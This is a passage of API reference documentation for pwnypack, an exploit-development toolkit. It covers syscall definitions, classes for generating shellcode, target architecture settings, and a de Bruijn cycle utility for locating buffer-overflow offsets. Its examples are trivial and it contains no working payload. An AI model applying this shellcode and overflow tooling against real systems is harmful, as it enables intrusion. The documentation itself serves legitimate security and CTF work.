sys_mq_notify = SyscallDef(sys_mq_notify:  int, void *)
sys_mq_open = SyscallDef(sys_mq_open:  void **, int, int, void *)
sys_mq_timedreceive = SyscallDef(sys_mq_timedreceive:  int, void **, int, void *, void
sys_mq_timedsend = SyscallDef(sys_mq_timedsend:  int, void **, int, int, void *)
sys_mq_unlink = SyscallDef(sys_mq_unlink:  void **)
sys_mremap = SyscallDef(sys_mremap:  int, int, int, int, int)
sys_msgctl = SyscallDef(sys_msgctl:  int, int, void *)
sys_msgget = SyscallDef(sys_msgget:  int, int)
sys_msgrcv = SyscallDef(sys_msgrcv:  int, void *, int, int, int)
sys_msgsnd = SyscallDef(sys_msgsnd:  int, void *, int, int)
sys_msync = SyscallDef(sys_msync:  int, int, int)
sys_munlock = SyscallDef(sys_munlock:  int, int)
sys_munlockall = SyscallDef(sys_munlockall)
sys_munmap = SyscallDef(sys_munmap:  int, int)
sys_name_to_handle_at = SyscallDef(sys_name_to_handle_at:  int, void **, void *, void
sys_nanosleep = SyscallDef(sys_nanosleep:  void *, void *)
sys_newfstat = SyscallDef(sys_newfstat:  int, void *)
sys_newfstatat = SyscallDef(sys_newfstatat:  int, void **, void *, int)
sys_newlstat = SyscallDef(sys_newlstat:  void **, void *)
sys_newstat = SyscallDef(sys_newstat:  void **, void *)
sys_newuname = SyscallDef(sys_newuname:  void *)
sys_nfsservctl = SyscallDef(<class 'pwnypack.shellcode.types.NUMERIC'>:  void *, void
sys_ni_syscall = SyscallDef(sys_ni_syscall)
sys_nice = SyscallDef(sys_nice:  int)
sys_old_getrlimit = SyscallDef(sys_old_getrlimit:  int, void *)
sys_old_mmap = SyscallDef(sys_mmap:  void *)
sys_old_readdir = SyscallDef(sys_old_readdir:  int, void *, int)
sys_old_select = SyscallDef(sys_old_select:  void *)
sys_olduname = SyscallDef(sys_olduname:  void *)
sys_open = SyscallDef(sys_open:  void **, int, int)
sys_open_by_handle_at = SyscallDef(sys_open_by_handle_at:  int, void *, int)
sys_openat = SyscallDef(sys_openat:  int, void **, int, int)
sys_pause = SyscallDef(sys_pause)
sys_pciconfig_iobase = SyscallDef(sys_pciconfig_iobase:  int, int, int)
sys_pciconfig_read = SyscallDef(sys_pciconfig_read:  int, int, int, int, void *)
```

```
sys_pciconfig_write = SyscallDef(sys_pciconfig_write:  int, int, int, int, void *)
sys_perf_event_open = SyscallDef(sys_perf_event_open:  void *, int, int, int, int)
sys_personality = SyscallDef(sys_personality:  int)
sys_pipe = SyscallDef(sys_pipe:  void *)
sys_pipe2 = SyscallDef(sys_pipe2:  void *, int)
sys_pivot_root = SyscallDef(sys_pivot_root:  void **, void **)
sys_poll = SyscallDef(sys_poll:  void *, int, int)
sys_ppoll = SyscallDef(sys_ppoll:  void *, int, void *, void *, int)
sys_prctl = SyscallDef(sys_prctl:  int, int, int, int, int)
sys_pread64 = SyscallDef(sys_pread64:  int, void **, int, int)
sys_preadv = SyscallDef(sys_preadv:  int, void *, int, int, int)
sys_preadv2 = SyscallDef(sys_preadv2:  int, void *, int, int, int, int)
sys_prlimit64 = SyscallDef(sys_prlimit64:  int, int, void *, void *)
sys_process_vm_readv = SyscallDef(sys_process_vm_readv:  int, void *, int, void *, int
sys_process_vm_writev = SyscallDef(sys_process_vm_writev:  int, void *, int, void *, i
sys_pselect6 = SyscallDef(sys_pselect6:  int, void *, void *, void *, void *, void *)
sys_ptrace = SyscallDef(sys_ptrace:  int, int, int, int)
sys_pwrite64 = SyscallDef(sys_pwrite64:  int, void **, int, int)
sys_pwritev = SyscallDef(sys_pwritev:  int, void *, int, int, int)
sys_pwritev2 = SyscallDef(sys_pwritev2:  int, void *, int, int, int, int)
sys_quotactl = SyscallDef(sys_quotactl:  int, void **, int, void *)
sys_read = SyscallDef(sys_read:  int, void **, int)
sys_readahead = SyscallDef(sys_readahead:  int, int, int)
sys_readlink = SyscallDef(sys_readlink:  void **, void **, int)
sys_readlinkat = SyscallDef(sys_readlinkat:  int, void **, void **, int)
sys_readv = SyscallDef(sys_readv:  int, void *, int)
sys_reboot = SyscallDef(sys_reboot:  int, int, int, void *)
sys_recv = SyscallDef(sys_recv:  int, void *, int, int)
sys_recvfrom = SyscallDef(sys_recvfrom:  int, void *, int, int, void *, void *)
sys_recvmmsg = SyscallDef(sys_recvmmsg:  int, void *, int, int, void *)
sys_recvmsg = SyscallDef(sys_recvmsg:  int, void *, int)
sys_remap_file_pages = SyscallDef(sys_remap_file_pages:  int, int, int, int, int)
sys_removexattr = SyscallDef(sys_removexattr:  void **, void **)
sys_rename = SyscallDef(sys_rename:  void **, void **)
sys_renameat = SyscallDef(sys_renameat:  int, void **, int, void **)
sys_renameat2 = SyscallDef(sys_renameat2:  int, void **, int, void **, int)
```

```
sys_request_key = SyscallDef(sys_request_key:  void **, void **, void **, int)
sys_restart_syscall = SyscallDef(sys_restart_syscall)
sys_rmdir = SyscallDef(sys_rmdir:  void **)
sys_rt_sigaction = SyscallDef(sys_rt_sigaction:  int, void *, void *, int)
sys_rt_sigpending = SyscallDef(sys_rt_sigpending:  void *, int)
sys_rt_sigprocmask = SyscallDef(sys_rt_sigprocmask:  int, void *, void *, int)
sys_rt_sigqueueinfo = SyscallDef(sys_rt_sigqueueinfo:  int, int, void *)
sys_rt_sigsuspend = SyscallDef(sys_rt_sigsuspend:  void *, int)
sys_rt_sigtimedwait = SyscallDef(sys_rt_sigtimedwait:  void *, void *, void *, int)
sys_rt_tgsigqueueinfo = SyscallDef(sys_rt_tgsigqueueinfo:  int, int, int, void *)
sys_sched_get_priority_max = SyscallDef(sys_sched_get_priority_max:  int)
sys_sched_get_priority_min = SyscallDef(sys_sched_get_priority_min:  int)
sys_sched_getaffinity = SyscallDef(sys_sched_getaffinity:  int, int, void *)
sys_sched_getattr = SyscallDef(sys_sched_getattr:  int, void *, int, int)
sys_sched_getparam = SyscallDef(sys_sched_getparam:  int, void *)
sys_sched_getscheduler = SyscallDef(sys_sched_getscheduler:  int)
sys_sched_rr_get_interval = SyscallDef(sys_sched_rr_get_interval:  int, void *)
sys_sched_setaffinity = SyscallDef(sys_sched_setaffinity:  int, int, void *)
sys_sched_setattr = SyscallDef(sys_sched_setattr:  int, void *, int)
sys_sched_setparam = SyscallDef(sys_sched_setparam:  int, void *)
sys_sched_setscheduler = SyscallDef(sys_sched_setscheduler:  int, int, void *)
sys_sched_yield = SyscallDef(sys_sched_yield)
sys_seccomp = SyscallDef(sys_seccomp:  int, int, void **)
sys_select = SyscallDef(sys_select:  int, void *, void *, void *, void *)
sys_semctl = SyscallDef(sys_semctl:  int, int, int, int)
sys_semget = SyscallDef(sys_semget:  int, int, int)
sys_semop = SyscallDef(sys_semop:  int, void *, int)
sys_semtimedop = SyscallDef(sys_semtimedop:  int, void *, int, void *)
sys_send = SyscallDef(sys_send:  int, void *, int, int)
sys_sendfile = SyscallDef(sys_sendfile:  int, int, void *, int)
sys_sendfile64 = SyscallDef(sys_sendfile64:  int, int, void *, int)
sys_sendmmsg = SyscallDef(sys_sendmmsg:  int, void *, int, int)
sys_sendmsg = SyscallDef(sys_sendmsg:  int, void *, int)
sys_sendto = SyscallDef(sys_sendto:  int, void *, int, int, void *, int)
sys_set_mempolicy = SyscallDef(sys_set_mempolicy:  int, void *, int)
sys_set_robust_list = SyscallDef(sys_set_robust_list:  void *, int)
```

```
sys_set_tid_address = SyscallDef(sys_set_tid_address:  void *)
sys_setdomainname = SyscallDef(sys_setdomainname:  void **, int)
sys_setfsgid = SyscallDef(sys_setfsgid:  int)
sys_setfsgid16 = SyscallDef(sys_setfsgid16:  int)
sys_setfsuid = SyscallDef(sys_setfsuid:  int)
sys_setfsuid16 = SyscallDef(sys_setfsuid16:  int)
sys_setgid = SyscallDef(sys_setgid:  int)
sys_setgid16 = SyscallDef(sys_setgid16:  int)
sys_setgroups = SyscallDef(sys_setgroups:  int, void *)
sys_setgroups16 = SyscallDef(sys_setgroups16:  int, void *)
sys_sethostname = SyscallDef(sys_sethostname:  void **, int)
sys_setitimer = SyscallDef(sys_setitimer:  int, void *, void *)
sys_setns = SyscallDef(sys_setns:  int, int)
sys_setpgid = SyscallDef(sys_setpgid:  int, int)
sys_setpriority = SyscallDef(sys_setpriority:  int, int, int)
sys_setregid = SyscallDef(sys_setregid:  int, int)
sys_setregid16 = SyscallDef(sys_setregid16:  int, int)
sys_setresgid = SyscallDef(sys_setresgid:  int, int, int)
sys_setresgid16 = SyscallDef(sys_setresgid16:  int, int, int)
sys_setresuid = SyscallDef(sys_setresuid:  int, int, int)
sys_setresuid16 = SyscallDef(sys_setresuid16:  int, int, int)
sys_setreuid = SyscallDef(sys_setreuid:  int, int)
sys_setreuid16 = SyscallDef(sys_setreuid16:  int, int)
sys_setrlimit = SyscallDef(sys_setrlimit:  int, void *)
sys_setsid = SyscallDef(sys_setsid)
sys_setsockopt = SyscallDef(sys_setsockopt:  int, int, int, void **, int)
sys_settimeofday = SyscallDef(sys_settimeofday:  void *, void *)
sys_setuid = SyscallDef(sys_setuid:  int)
sys_setuid16 = SyscallDef(sys_setuid16:  int)
sys_setxattr = SyscallDef(sys_setxattr:  void **, void **, void *, int, int)
sys_sgetmask = SyscallDef(sys_sgetmask)
sys_shmat = SyscallDef(sys_shmat:  int, void **, int)
sys_shmctl = SyscallDef(sys_shmctl:  int, int, void *)
sys_shmdt = SyscallDef(sys_shmdt:  void **)
sys_shmget = SyscallDef(sys_shmget:  int, int, int)
sys_shutdown = SyscallDef(sys_shutdown:  int, int)
```

```
sys_sigaction = SyscallDef(sys_sigaction:  int, void *, void *)
sys_sigaltstack = SyscallDef(sys_sigaltstack:  void *, void *)
sys_signal = SyscallDef(sys_signal:  int, void *)
sys_signalfd = SyscallDef(sys_signalfd:  int, void *, int)
sys_signalfd4 = SyscallDef(sys_signalfd4:  int, void *, int, int)
sys_sigpending = SyscallDef(sys_sigpending:  void *)
sys_sigprocmask = SyscallDef(sys_sigprocmask:  int, void *, void *)
sys_sigsuspend = SyscallDef(sys_sigsuspend:  int, int, int)
sys_socket = SyscallDef(sys_socket:  int, int, int)
sys_socketcall = SyscallDef(sys_socketcall:  int, void *)
sys_socketpair = SyscallDef(sys_socketpair:  int, int, int, void *)
sys_splice = SyscallDef(sys_splice:  int, void *, int, void *, int, int)
sys_spu_create = SyscallDef(sys_spu_create:  void **, int, int, int)
sys_spu_run = SyscallDef(sys_spu_run:  int, void *, void *)
sys_ssetmask = SyscallDef(sys_ssetmask:  int)
sys_stat = SyscallDef(sys_stat:  void **, void *)
sys_stat64 = SyscallDef(sys_stat64:  void **, void *)
sys_statfs = SyscallDef(sys_statfs:  void **, void *)
sys_statfs64 = SyscallDef(sys_statfs64:  void **, int, void *)
sys_stime = SyscallDef(sys_stime:  void *)
sys_swapoff = SyscallDef(sys_swapoff:  void **)
sys_swapon = SyscallDef(sys_swapon:  void **, int)
sys_symlink = SyscallDef(sys_symlink:  void **, void **)
sys_symlinkat = SyscallDef(sys_symlinkat:  void **, int, void **)
sys_sync = SyscallDef(sys_sync)
sys_sync_file_range = SyscallDef(sys_sync_file_range:  int, int, int, int)
sys_sync_file_range2 = SyscallDef(sys_sync_file_range2:  int, int, int, int)
sys_syncfs = SyscallDef(sys_syncfs:  int)
sys_sysctl = SyscallDef(sys_sysctl:  void *)
sys_sysfs = SyscallDef(sys_sysfs:  int, int, int)
sys_sysinfo = SyscallDef(sys_sysinfo:  void *)
sys_syslog = SyscallDef(sys_syslog:  int, void **, int)
sys_tee = SyscallDef(sys_tee:  int, int, int, int)
sys_tgkill = SyscallDef(sys_tgkill:  int, int, int)
sys_time = SyscallDef(sys_time:  void *)
sys_timer_create = SyscallDef(sys_timer_create:  int, void *, void *)
```

```
sys_timer_delete = SyscallDef(sys_timer_delete:  int)
sys_timer_getoverrun = SyscallDef(sys_timer_getoverrun:  int)
sys_timer_gettime = SyscallDef(sys_timer_gettime:  int, void *)
sys_timer_settime = SyscallDef(sys_timer_settime:  int, int, void *, void *)
sys_timerfd_create = SyscallDef(sys_timerfd_create:  int, int)
sys_timerfd_gettime = SyscallDef(sys_timerfd_gettime:  int, void *)
sys_timerfd_settime = SyscallDef(sys_timerfd_settime:  int, int, void *, void *)
sys_times = SyscallDef(sys_times:  void *)
sys_tkill = SyscallDef(sys_tkill:  int, int)
sys_truncate = SyscallDef(sys_truncate:  void **, int)
sys_truncate64 = SyscallDef(sys_truncate64:  void **, int)
sys_umask = SyscallDef(sys_umask:  int)
sys_umount = SyscallDef(sys_oldumount:  void **)
sys_umount2 = SyscallDef(sys_umount:  void **, int)
sys_uname = SyscallDef(sys_uname:  void *)
sys_unlink = SyscallDef(sys_unlink:  void **)
sys_unlinkat = SyscallDef(sys_unlinkat:  int, void **, int)
sys_unshare = SyscallDef(sys_unshare:  int)
sys_uselib = SyscallDef(sys_uselib:  void **)
sys_userfaultfd = SyscallDef(sys_userfaultfd:  int)
sys_ustat = SyscallDef(sys_ustat:  int, void *)
sys_utime = SyscallDef(sys_utime:  void **, void *)
sys_utimensat = SyscallDef(sys_utimensat:  int, void **, void *, int)
sys_utimes = SyscallDef(sys_utimes:  void **, void *)
sys_vfork = SyscallDef(sys_vfork)
sys_vhangup = SyscallDef(sys_vhangup)
sys_vmsplice = SyscallDef(sys_vmsplice:  int, void *, int, int)
sys_wait4 = SyscallDef(sys_wait4:  int, void *, int, void *)
sys_waitid = SyscallDef(sys_waitid:  int, int, void *, int, void *)
sys_waitpid = SyscallDef(sys_waitpid:  int, void *, int)
sys_write = SyscallDef(sys_write:  int, void **, int)
sys_writev = SyscallDef(sys_writev:  int, void *, int)
```

2.14.12 `base` – Base environment

class pwnypack.shellcode.base.**BaseEnvironment**
The abstract base for all shellcode environments.

REGISTER_WIDTH = None
Mapping of register -> width, filled by __init__ based on REGISTER_WIDTH_MAP

class TranslateOutput
Output format the translate function.

assembly = 1
Emit assembly source.

code = 0
Emit binary, executable code.

meta = 2
Emit the declarative version of the translated function.

alloc_buffer(*length*)
Allocate a buffer (a range of uninitialized memory).

Parameters **length** (*int*) – The length of the buffer to allocate.

Returns The object used to address this buffer.

Return type Buffer

alloc_data(*value*)
Allocate a piece of data that will be included in the shellcode body.

Parameters **value** – The value to add to the shellcode. Can be bytes or string type.

Returns The offset used to address the data.

Return type Offset

assemble(*ops*)
Assemble a list of operations into executable code.

Parameters **ops** (*list*) – A list of shellcode operations.

Returns The executable code that implements the shellcode.

Return type bytes

compile(*ops*)
Translate a list of operations into its assembler source.

Parameters **ops** (*list*) – A list of shellcode operations.

Returns The assembler source code that implements the shellcode.

Return type str

reg_add(*reg*, *value*)
Add a value to a register. The value can be another `Register`, an `Offset`, a `Buffer`, an integer or `None`.

Parameters

- **reg** (*pwnypack.shellcode.types.Register*) – The register to add the value to.
- **value** – The value to add to the register.

Returns A list of mnemonics that will add `value` to `reg`.

Return type list

reg_load(*reg*, *value*)
Load a value into a register. The value can be a string or binary (in which case the value is passed to *alloc_data()*), another `Register`, an `Offset` or `Buffer`, an integer immediate, a `list` or `tuple` or a syscall invocation.

Parameters

- **reg** (*pwnypack.shellcode.types.Register*) – The register to load the value into.
- **value** – The value to load into the register.

Returns A list of mnemonics that will load value into reg.

Return type list

classmethod translate(*f=None*, *, *output=TranslateOutput.code*, ***kwargs*)
Decorator that turns a function into a shellcode emitting function.

Parameters

- **f** (*callable*) – The function to decorate. If `f` is `None` a decorator will be returned instead.
- **output** (`TranslateOutput`) – The output format the shellcode function will produce.
- ****kwargs** – Keyword arguments are passed to shellcode environment constructor.

Returns A decorator that will translate the given function into a shellcode generator

Examples

```
>>> from pwny import *
>>> @sc.LinuxX86Mutable.translate
... def shellcode():
...     sys_exit(0)
```

```
>>> @sc.LinuxX86Mutable.translate(output=1)
... def shellcode():
...     sys_exit(0)
```

2.14.13 translate – Python translator

pwnypack.shellcode.translate.**translate**(*env*, *func*, **args*, ***kwargs*)
Given a shellcode environment, a function and its parameters, translate the function to a list of shellcode operations ready to be compiled or assembled using *compile()* or *assemble()*.

Parameters

- **env** (*Base*) – An instance of a shellcode environment.
- **func** (*callable*) – The function to translate to shellcode.
- **args** – The positional arguments for the function.
- **kwargs** – The keyword arguments for the function.

Returns The high-level shellcode operations.

Return type list

pwnypack.shellcode.translate.**fragment**(*f*)

Decorator to turn a function into a shellcode fragment that can be called as a function from within a translated function.

Parameters **f** (*callable*) – The function to mark as a shellcode fragment.

Returns The decorated shellcode fragment.

Return type callable

2.15 target – Target definition

The *Target* class describes the architecture of a targeted machine, executable or environment. It encodes the generic architecture, the word size, the byte order and an architecture dependant mode.

It is used throughout *pwnypack* to determine how data should be interpreted or emitted.

class pwnypack.target.**Target**(*arch=None*, *bits=None*, *endian=None*, *mode=0*)

Bases: object

class Arch

Bases: enum.Enum

Describes the general architecture of a target.

arm = 'arm'

ARM architecture.

unknown = 'unknown'

Any other architecture.

x86 = 'x86'

X86 architecture.

class Bits

Bases: enum.IntEnum

The target architecture's word size.

bits_32 = 32

32 bit word size.

bits_64 = 64

64 bit word size.

class Endian

Bases: enum.IntEnum

The target architecture's byte order.

big = 1

Big endian.

little = 0

Little endian.

class Mode

Bases: enum.IntEnum

Architecture dependant mode flags.

arm_m_class = 4
Use ARMv7-M instruction set

arm_thumb = 2
Use ARM Thumb instruction set

arm_v8 = 1
Use ARM V8 instruction set

arch
The target's architecture. One of *Target.Arch*.

assume(*other*)
Assume the identity of another target. This can be useful to make the global target assume the identity of an ELF executable.

Parameters **other** (*Target*) – The target whose identity to assume.

Example

```
>>> from pwny import *
>>> target.assume(ELF('my-executable'))
```

bits
The target architecture word size. One of *Target.Bits*.

endian
The target architecture byte order. One of *Target.Endian*.

mode
The target architecture dependant flags. OR'ed values of *Target.Mode*.

pwnypack.target.**target = Target(arch=x86,bits=64,endian=little,mode=0)**
The global, default target. If no targeting information is provided to a function, this is the target that will be used.

2.16 util – Utility functions

The util module contains various utility functions.

pwnypack.util.**cycle**(*length*, *width=4*)
Generate a de Bruijn sequence of a given length (and width). A de Bruijn sequence is a set of varying repetitions where each sequence of *n* characters is unique within the sequence. This type of sequence can be used to easily find the offset to the return pointer when exploiting a buffer overflow.

Parameters

- **length** (*int*) – The length of the sequence to generate.
- **width** (*int*) – The width of each element in the sequence.

Returns The sequence.

Return type str

Example

```
>>> from pwny import *
>>> cycle(80)
AAAABAAACAAADAAAEAAAFAAAGAAAHAAAIAAAJAAAKAAALAAAMAAANAAAOAAAPAAAQAAARAAASAAATAAA
```

pwnypack.util.**cycle_find**(*key*, *width=4*)

Given an element of a de Bruijn sequence, find its index in that sequence.

Parameters

- **key** (*str*) – The piece of the de Bruijn sequence to find.
- **width** (*int*) – The width of each element in the sequence.

Returns The index of `key` in the de Bruijn sequence.

Return type int

pwnypack.util.**reghex**(*pattern*)

Compile a regular hexpression (a short form regular expression subset specifically designed for searching for binary strings).

A regular hexpression consists of hex tuples interspaced with control characters. The available control characters are:

- `?`: Any byte (optional).
- `.`: Any byte (required).
- `?{n}`: A set of 0 up to *n* bytes.
- `.{n}`: A set of exactly *n* bytes.
- `*`: Any number of bytes (or no bytes at all).
- `+`: Any number of bytes (at least one byte).

Parameters **pattern** (*str*) – The reghex pattern.

Returns A regular expression as returned by `re.compile()`.

Return type regexp

CHAPTER 3

Indices and tables

- genindex
- modindex

Python Module Index

p

Index

C

D

E

F

G

H

I

J

K

L

M

N

O

P

R

S

T

U

V

W

X

Z